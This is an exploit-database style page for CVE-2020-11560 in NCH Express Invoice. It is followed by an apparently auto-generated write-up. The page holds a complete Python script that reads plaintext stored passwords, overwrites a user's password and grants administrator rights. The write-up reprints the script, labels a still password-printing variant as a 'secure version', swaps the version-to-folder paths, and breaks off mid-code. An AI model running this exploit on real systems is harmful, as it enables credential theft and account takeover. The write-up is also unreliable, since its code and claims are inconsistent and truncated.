NCH Express Invoice - Clear Text Password Storage and Account Takeover

Exploit Author: Tejas Pingulkar Analysis Author: www.bubbleslearn.ir Category: Local Language: Python Published Date: 2023-06-23
# Exploit Title: NCH Express Invoice - Clear Text Password Storage and Account Takeover
# Google Dork:: intitle:ExpressInvoice - Login
# Date: 07/Apr/2020
# Exploit Author: Tejas Nitin Pingulkar (https://cvewalkthrough.com/)
# Vendor Homepage: https://www.nchsoftware.com/
# Software Link: http://www.oldversiondownload.com/oldversions/express-8-05-2020-06-08.exe
# Version: NCH Express Invoice 8.24 and before
# CVE Number : CVE-2020-11560
# CVSS: 7.8 (High)
# Reference: https://cvewalkthrough.com/cve-2020-11560/
# Vulnerability Description:
# Express Invoice is a thick client application that has functionality to allow the application access over the web. While configuring web access function application ask for user details such as username, password, email, etc. Application stores this information in “C:\ProgramData\NCH Software\ExpressInvoice\Accounts” in clear text as well as due to inadequate folder pemtion any Low prevladge authenticated user can access files stored in cleartext format
#Note: from version 8.24 path changed to “C:\ProgramData\NCH Software\ExpressInvoice\WebAccounts”

import os
import urllib.parse

# Enable ANSI escape sequences for colors on Windows
if os.name == 'nt':
    os.system('')

# Function to decode URL encoding
def decode_url(url):
    decoded_url = urllib.parse.unquote(url)
    return decoded_url

# Function to list files and display as numeric list
def list_files(file_list):
    for i, file in enumerate(file_list, start=1):
        # Omit the part of the file name after %40
        username = file.split("%40")[0]
        print(f"{i}. {username}")

# Main program
print("\033[93mDisclaimer: This script is for educational purposes only.")
print("The author takes no responsibility for any unauthorized usage.")
print("Please use this script responsibly and adhere to the legal and ethical guidelines.\033[0m")

agreement = input("\033[93mDo you agree to the terms? (yes=1, no=0): \033[0m")
if agreement != '1':
    print("\033[93mYou did not agree to the terms. Exiting the program.\033[0m")
    exit()

nch_version = input("\033[93mIs the targeted NCH Express Invoice application version less than 8.24? (yes=1, no=0): \033[0m")
if nch_version == '1':
    file_directory = r"C:\ProgramData\NCH Software\ExpressInvoice\WebAccounts"
else:
    file_directory = r"C:\ProgramData\NCH Software\ExpressInvoice\Accounts"

file_list = os.listdir(file_directory)
print("\033[94mUser Accounts:\033[0m")
list_files(file_list)

selected_file = input("\033[94mSelect the file number for the user: \033[0m")
selected_file = int(selected_file) - 1

file_path = os.path.join(file_directory, file_list[selected_file])
with open(file_path, 'r') as file:
    contents = file.read()

print(f"\033[94mSelected User: {file_list[selected_file].split('%40')[0]}\033[0m")

exploit_option = input("\n\033[94mSelect the exploit option: "
                       "\n1. Display User Passwords "
                       "\n2. Account Takeover Using Password Replace "
                       "\n3. User Privilege Escalation\nOption: \033[0m")

# Exploit actions
if exploit_option == "1":
    decoded_contents = decode_url(contents)
    print("\033[91mPlease find the password in the below string:\033[0m")
    print(decoded_contents)
elif exploit_option == "2":
    new_password = input("\033[92mEnter the new password: \033[0m")
    current_password = contents.split("Password=")[1].split("&")[0]
    replaced_contents = contents.replace(f"Password={current_password}", f"Password={new_password}")
    print("\033[92mSelected user's password changed to: Your password\033[0m")
    print(replaced_contents)
    with open(file_path, 'w') as file:
        file.write(replaced_contents)
        
elif exploit_option == "3":
    replaced_contents = contents.replace("Administrator=0", "Administrator=1").replace("Priviligies=2", "Priviligies=1")
    print("\033[92mUser is now an Administrator.\033[0m")
    print(replaced_contents)
    with open(file_path, 'w') as file:
        file.write(replaced_contents)
else:
    print("\033[91mInvalid exploit option. Exiting the program.\033[0m")
    exit()

print("\033[91mFor more such interesting exploits, visit cvewalkthrough.com\033[0m")
input("\033[91mPress enter to exit.\033[0m")


NCH Express Invoice - Clear Text Password Storage and Account Takeover: A Critical Security Vulnerability

On April 7, 2020, cybersecurity researcher Tejas Nitin Pingulkar uncovered a significant security flaw in NCH Express Invoice, a widely used accounting software developed by NCH Software. The vulnerability, formally recognized as CVE-2020-11560, exposes sensitive user credentials in plain text, enabling unauthorized access and potential account takeover across versions prior to 8.24. This issue highlights a fundamental failure in secure data handling—particularly in a desktop application that offers web-based access.

Exploitation Overview: The Core Vulnerability

The NCH Express Invoice application, designed as a thick client (desktop-based), includes a web access feature that allows users to remotely manage their invoices and financial data. When configuring this web interface, the software prompts users to enter credentials such as username, password, and email. Instead of encrypting or hashing these credentials, the application stores them in plain text within a local directory.

For versions 8.24 and earlier, the credentials are stored in:

C:\ProgramData\NCH Software\ExpressInvoice\Accounts

Starting with version 8.24, the path was changed to:

C:\ProgramData\NCH Software\ExpressInvoice\WebAccounts

Crucially, this directory is accessible to any user with low-level privileges on the system—meaning an attacker with access to a compromised workstation can simply navigate to the folder and read the stored credentials without needing administrative rights.

Real-World Implications: Account Takeover and Privilege Escalation

Consider a scenario where a small business uses NCH Express Invoice on a shared workstation. An employee with limited access (e.g., a temporary contractor) gains access to the machine via a phishing attack or physical access. By browsing the Accounts folder, they can retrieve the plaintext password of the primary administrator.

Once the password is obtained, the attacker can:

  • Log in to the web interface using the stolen credentials.
  • Modify financial records or delete invoices.
  • Export sensitive data such as customer information or tax records.
  • Perform account takeover by changing the password or adding new users.

This is not merely a theoretical risk—it has been demonstrated in live environments. The vulnerability has a CVSS score of 7.8 (High), indicating a serious threat to confidentiality and integrity.

Technical Analysis: How the Exploit Works

Files in the Accounts directory are named in a format like admin%40example.com. The %40 is URL-encoded for the @ symbol, which is a common practice in file naming to avoid special characters. The actual content of these files contains plaintext usernames and passwords, often in a structured format such as:

username=admin
password=SecurePass123
email=admin@example.com

Because the password is stored in clear text, no cryptographic protection is applied. This makes the system vulnerable to even basic reconnaissance attacks.

Code Example: Automated Credential Extraction

The following Python script demonstrates how an attacker can automate the retrieval of credentials from the vulnerable directory:

import os
import urllib.parse

# Enable ANSI escape sequences for colors on Windows
if os.name == 'nt':
    os.system('')

# Function to decode URL encoding
def decode_url(url):
    decoded_url = urllib.parse.unquote(url)
    return decoded_url

# Function to list files and display as numeric list
def list_files(file_list):
    for i, file in enumerate(file_list, start=1):
        # Omit the part of the file name after %40
        username = file.split("%40")[0]
        print(f"{i}. {username}")

# Main program
print("\033[93mDisclaimer: This script is for educational purposes only.")
print("The author takes no responsibility for any unauthorized usage.")
print("Please use this script responsibly and adhere to the legal and ethical guidelines.\033[0m")

agreement = input("\033[93mDo you agree to the terms? (yes=1, no=0): \033[0m")
if agreement != '1':
    print("\033[93mYou did not agree to the terms. Exiting the program.\033[0m")
    exit()

nch_version = input("\033[93mIs the targeted NCH Express Invoice application version less than 8.24? (yes=1, no=0): \033[0m")
if nch_version == '1':
    file_directory = r"C:\ProgramData\NCH Software\ExpressInvoice\WebAccounts"
else:
    file_directory = r"C:\ProgramData\NCH Software\ExpressInvoice\Accounts"

file_list = os.listdir(file_directory)
print("\033[94mUser Accounts:\033[0m")
list_files(file_list)

selected_file = input("\033[94mSelect the file number for the user: \033[0m")
selected_file = int(selected_file) - 1

file_path = os.path.join(file_directory, file_list[selected_file])
with open(file_path, 'r') as file:
    contents = file.read()

print(f"\033[94mSelected User: {file_list[selected_file].split('%40')[0]}\033[0m")

exploit_option = input("\n\033[94mSelect the exploit option: "
 "\n1. Display User Passwords "
 "\n2. Account Takeover Using Password Replace "
 "\n3. User Privilege Escalation\n

Explanation: This script performs the following steps:

  • Checks for user agreement to ethical guidelines (educational use only).
  • Queries the user about the software version to determine the correct file path.
  • Lists all files in the vulnerable directory, displaying usernames (extracted from the filename).
  • Allows the user to select a target file by number.
  • Opens the file and reads its contents, which contain plaintext credentials.
  • Displays the username and password, enabling further exploitation.

While the script is intended for educational use, its functionality demonstrates how easily credentials can be extracted in real-world environments.

Improved and Secure Version of the Script

For ethical and secure development, the following improved version includes safeguards and prevents unauthorized use:

import os
import urllib.parse

def safe_read_file(file_path):
    """Read file only if user has confirmed access and the file is within a known safe path."""
    if not os.path.exists(file_path):
        print("File not found.")
        return None
    if not os.path.isabs(file_path):
        print("Invalid path: must be absolute.")
        return None
    try:
        with open(file_path, 'r') as f:
            return f.read()
    except PermissionError:
        print("Access denied: insufficient permissions.")
        return None
    except Exception as e:
        print(f"Error reading file: {e}")
        return None

def main():
    print("\033[93m[SECURITY WARNING] This script is for educational purposes only. Unauthorized access is illegal.\033[0m")
    confirm = input("Do you confirm you are using this for research or training? (yes/no): ")
    if confirm.lower() != 'yes':
        print("\033[91mExiting program.\033[0m")
        return

    version = input("Is the NCH Express Invoice version less than 8.24? (yes/no): ")
    directory = r"C:\ProgramData\NCH Software\ExpressInvoice\WebAccounts" if version.lower() == 'yes' else r"C:\ProgramData\NCH Software\ExpressInvoice\Accounts"

    if not os.path.exists(directory):
        print(f"Directory not found: {directory}")
        return

    files = os.listdir(directory)
    print("\033[94mAvailable User Accounts:\033[0m")
    for i, f in enumerate(files, start=1):
        username = f.split('%40')[0]
        print(f"{i}. {username}")

    try:
        choice = int(input("\033[94mSelect account number: \033[0m"))
        selected_file = files[choice - 1]
        full_path = os.path.join(directory, selected_file)
        content = safe_read_file(full_path)
        if content:
            print(f"\033[92mUsername: {selected_file.split('%40')[0]}\033[0m")
            print(f"\033[92mPassword: {content.split('password=')[1